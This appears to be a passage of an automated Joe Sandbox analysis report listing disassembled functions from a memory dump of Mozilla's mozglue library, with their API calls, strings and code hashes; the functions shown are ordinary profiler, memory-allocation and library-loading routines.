API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 4a77edd5271d5c269f7004b871d2655e84c42cecf6a7fbc794d33bbe449c1c89
Instruction ID: fb0ecbcf684bdbfcd76919695108632b65251bdf27002f557dce7ac0e476e29f
Opcode Fuzzy Hash: 4a77edd5271d5c269f7004b871d2655e84c42cecf6a7fbc794d33bbe449c1c89
Instruction Fuzzy Hash: FA517B357006408FCB24CF59C584A6ABBF5FF8931CB69895DE99A8B752C736E801CF90

Function 6C361D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C361D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C361BE3,?,?,6C361D96,00000000), ref: 6C361D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C361BE3,?,?,6C361D96,00000000), ref: 6C361D4C
GetCurrentThreadId.KERNEL32 ref: 6C361DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C361DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C361DDA

Part of subcall function 6C361EF0: GetCurrentThreadId.KERNEL32 ref: 6C361F03
Part of subcall function 6C361EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C361DF2,00000000,00000000), ref: 6C361F0C
Part of subcall function 6C361EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C361F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C361DF4

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: d174c231fef4fd447560ccd0352e91b6ceada1ad93512331c6b9ead558aac561
Instruction ID: 3545477098e4a953214c78630ac3034df8044298e62deeba43d54f06559a5adf
Opcode Fuzzy Hash: d174c231fef4fd447560ccd0352e91b6ceada1ad93512331c6b9ead558aac561
Instruction Fuzzy Hash: A8417BB56007009FCB14DF29D488A56BBF9FF49718F10442EE99A87B41DB72F854CB91

Function 6C3584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3585AC

Part of subcall function 6C357670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C3585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35767F
Part of subcall function 6C357670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C3585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C357693
Part of subcall function 6C357670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C3585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3585B2

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 330cc3d38d729866a571a6c91dcd2430fb75612f095652d6c008593644307d47
Instruction ID: 6841f21bbe6a6d60d883179525415f76ab04eccbb3c7ae71f519ce6dff84468a
Opcode Fuzzy Hash: 330cc3d38d729866a571a6c91dcd2430fb75612f095652d6c008593644307d47
Instruction Fuzzy Hash: 49217F742006019FEB14DF25D888E9AB7B9AF4530DF54482DE59BC3B41EB32F968CB52

Function 6C321640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C321699
VerSetConditionMask.NTDLL ref: 6C3216CB
VerSetConditionMask.NTDLL ref: 6C3216D7
VerSetConditionMask.NTDLL ref: 6C3216DE
VerSetConditionMask.NTDLL ref: 6C3216E5
VerSetConditionMask.NTDLL ref: 6C3216EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C3216F9

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 50d6a8e110f97e460f20fe59007339b3f96471349f37480cf6de107b51876503
Instruction ID: 77b91fde18ffd0e196ced20a723f8305c5609610cf31db078fb50b5cc12e6e5c
Opcode Fuzzy Hash: 50d6a8e110f97e460f20fe59007339b3f96471349f37480cf6de107b51876503
Instruction Fuzzy Hash: 1521D2B07402086BEB106E688C85FBB737CEFC6718F044528F6459B6C0D679DD548BA2

Function 6C35F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C35F598), ref: 6C35F621

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35F637
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F645
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C35F62A

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 0593cab39140c23995efc947949a68ec0a86b6fb029bdee52957978157cb7e40
Instruction ID: fa8368c98cdf98025ac4e36b5465e5869476f647723fe12b797d86948f3dd362
Opcode Fuzzy Hash: 0593cab39140c23995efc947949a68ec0a86b6fb029bdee52957978157cb7e40
Instruction Fuzzy Hash: F711E376201204ABCB04AF19D948DA5777DFF8A35CB910415FA4687F41EB33AC25CFA1

Function 6C322070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

LoadLibraryW.KERNEL32(combase.dll,6C321C5F), ref: 6C3220AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C3220CD
__Init_thread_footer.LIBCMT ref: 6C3220E1
FreeLibrary.KERNEL32 ref: 6C322124

Strings

CoInitializeSecurity, xrefs: 6C3220C7
combase.dll, xrefs: 6C3220A9

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: c13a5ea8f1eff3043fc58db20fff93bce908619fad15a41a780e8c70c4d18fc5
Instruction ID: aa25ba80024bbdde69b791de84ed2a9551c138d0ff702cdd184c5732d332f505
Opcode Fuzzy Hash: c13a5ea8f1eff3043fc58db20fff93bce908619fad15a41a780e8c70c4d18fc5
Instruction Fuzzy Hash: 1C215776600209EBDF11CF55DD48D9A3BBEFB0A328F008018FA0592610E3779861CFA1

Function 6C3776C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C3776F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C377705

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C377717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C37778F,00000000,00000000,00000000,00000000), ref: 6C377731
free.MOZGLUE(00000000), ref: 6C377760

Strings

}>5l, xrefs: 6C3776C4

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>5l
API String ID: 2538299546-1892777986
Opcode ID: 741471f8a714f744cc7bcaa44ff21fef93da4d9889e1d393b9778d6e545caa02
Instruction ID: 514163151ae9109754ccf6ef7a42b2410a42d3fd9f1a19caf41e1cdecb1836ef
Opcode Fuzzy Hash: 741471f8a714f744cc7bcaa44ff21fef93da4d9889e1d393b9778d6e545caa02
Instruction Fuzzy Hash: 371193B19052556BE720AF659C44AAB7EE8EF46358F044529E888A7200E7798840CBF2

Function 6C321FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C321FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C321FFD
__Init_thread_footer.LIBCMT ref: 6C322011
FreeLibrary.KERNEL32 ref: 6C322059

Strings

CoCreateInstance, xrefs: 6C321FF7
combase.dll, xrefs: 6C321FD9

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b08cf2889b236435e101546081d4356288776d6d71c462c9a199544e8310e644
Instruction ID: c5f3e77912a3ccee0555ab23a3745c4e0ac3e542b806eb6725ea97bd0455dce2
Opcode Fuzzy Hash: b08cf2889b236435e101546081d4356288776d6d71c462c9a199544e8310e644
Instruction Fuzzy Hash: DF1176B5601604AFEF20DF56DD48E9A7B7DFB8A369F108029F90586640E737A810CFA1

Function 6C320EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C34D9F0,00000000), ref: 6C320F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C320F3C
__Init_thread_footer.LIBCMT ref: 6C320F50
FreeLibrary.KERNEL32(?,6C34D9F0,00000000), ref: 6C320F86

Strings

CoInitializeEx, xrefs: 6C320F36
combase.dll, xrefs: 6C320F18

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 5416ff5a466caae4b0f7d5e01f012ed0611cae8242ec8380096f4142907fc7ab
Instruction ID: 324c58b486450d5c4f1ec4ffc6627565343631907acf5849e4dab148853aa165
Opcode Fuzzy Hash: 5416ff5a466caae4b0f7d5e01f012ed0611cae8242ec8380096f4142907fc7ab
Instruction Fuzzy Hash: 02118274745240ABDF20DF55D918A8637BCFB4E325F104229F90592B40F73AE809CE65

Function 6C35F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F561

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35F577
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F585
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C35F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C35F499
[I %d/%d] profiler_resume, xrefs: 6C35F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C35F3A8

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: efb19d0736658068a3cd67b08cef52f2066058e57369fdd05c21af3f0ef8b98d
Instruction ID: 690d81b5c3d9b91a9cbd2e9c08e4dc73bf0a79d0c4f28107b5e3ef7f0aca8de7
Opcode Fuzzy Hash: efb19d0736658068a3cd67b08cef52f2066058e57369fdd05c21af3f0ef8b98d
Instruction Fuzzy Hash: BFF0B4B66002049BDB10AF649848D6A777DEB8A29DF010411FA068B701EB375C01CB61

Function 6C35F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C35F598), ref: 6C35F621

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35F637
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F645
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C35F62A

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 52291622b32104f6052974e9531a21a47fe63b2c3071f56b9fb7f977c32501ca
Instruction ID: 451256aa78dab858537c039925c65f45b9a3cd1972ef596a11a4ad3927fe69cc
Opcode Fuzzy Hash: 52291622b32104f6052974e9531a21a47fe63b2c3071f56b9fb7f977c32501ca
Instruction Fuzzy Hash: 9DF0B4B6600200ABDB10AF649848D6A777DEB8A29DF410011FA4687741EB375C01CB62

Function 6C320E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C320DF8), ref: 6C320E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C320EA1
__Init_thread_footer.LIBCMT ref: 6C320EB5
FreeLibrary.KERNEL32 ref: 6C320EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C320E9B
kernel32.dll, xrefs: 6C320E7D

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0f9fc76a0a1a534eaa5b65fc9207dd6cca79d2fd2fc41735337807ad4b874f71
Instruction ID: ded118e5db9583e04f1ad4e5db2362973c6ba8872cc5d7a01e37271659699284
Opcode Fuzzy Hash: 0f9fc76a0a1a534eaa5b65fc9207dd6cca79d2fd2fc41735337807ad4b874f71
Instruction Fuzzy Hash: 1B014B70B01781CBDF008FA8D964A6633BDF70B398F100529E90186B40F77BA4588E12

Function 6C3505F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C34CFAE,?,?,?,6C3131A7), ref: 6C3505FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C34CFAE,?,?,?,6C3131A7), ref: 6C350616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C3131A7), ref: 6C35061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C3131A7), ref: 6C350627

Strings

<jemalloc>, xrefs: 6C3505FA, 6C35060F
: (malloc) Error in VirtualFree(), xrefs: 6C35061B, 6C350625

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 374222c6e0fad5588be8926a3258e544d91bf9d41d40a6b1e0dd43990ca5d7e0
Instruction ID: 22cf916dcb3e03c7bea01e2f4e3dd52de4ad0d6880f5a143ef4f15973502cbaa
Opcode Fuzzy Hash: 374222c6e0fad5588be8926a3258e544d91bf9d41d40a6b1e0dd43990ca5d7e0
Instruction Fuzzy Hash: 4BE08CE2A0201037F5142266BC86DBB761CDBC6138F080139FE0E82301E98EAD1A95F7

Function 6C3205F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2c9e526af752ee616bf2fa0d772b619c9431cc3c8a292f74fa027cd8dddc8d5
Instruction ID: c7fcccaead6d5612f9f17caf54d338892ffc7efc5db336ec4a13bc8a4122440a
Opcode Fuzzy Hash: f2c9e526af752ee616bf2fa0d772b619c9431cc3c8a292f74fa027cd8dddc8d5
Instruction Fuzzy Hash: 29A147B0A00645CFDB24CF29C594A9AFBF5FF48304F54866ED48A97B00E735A949CFA0

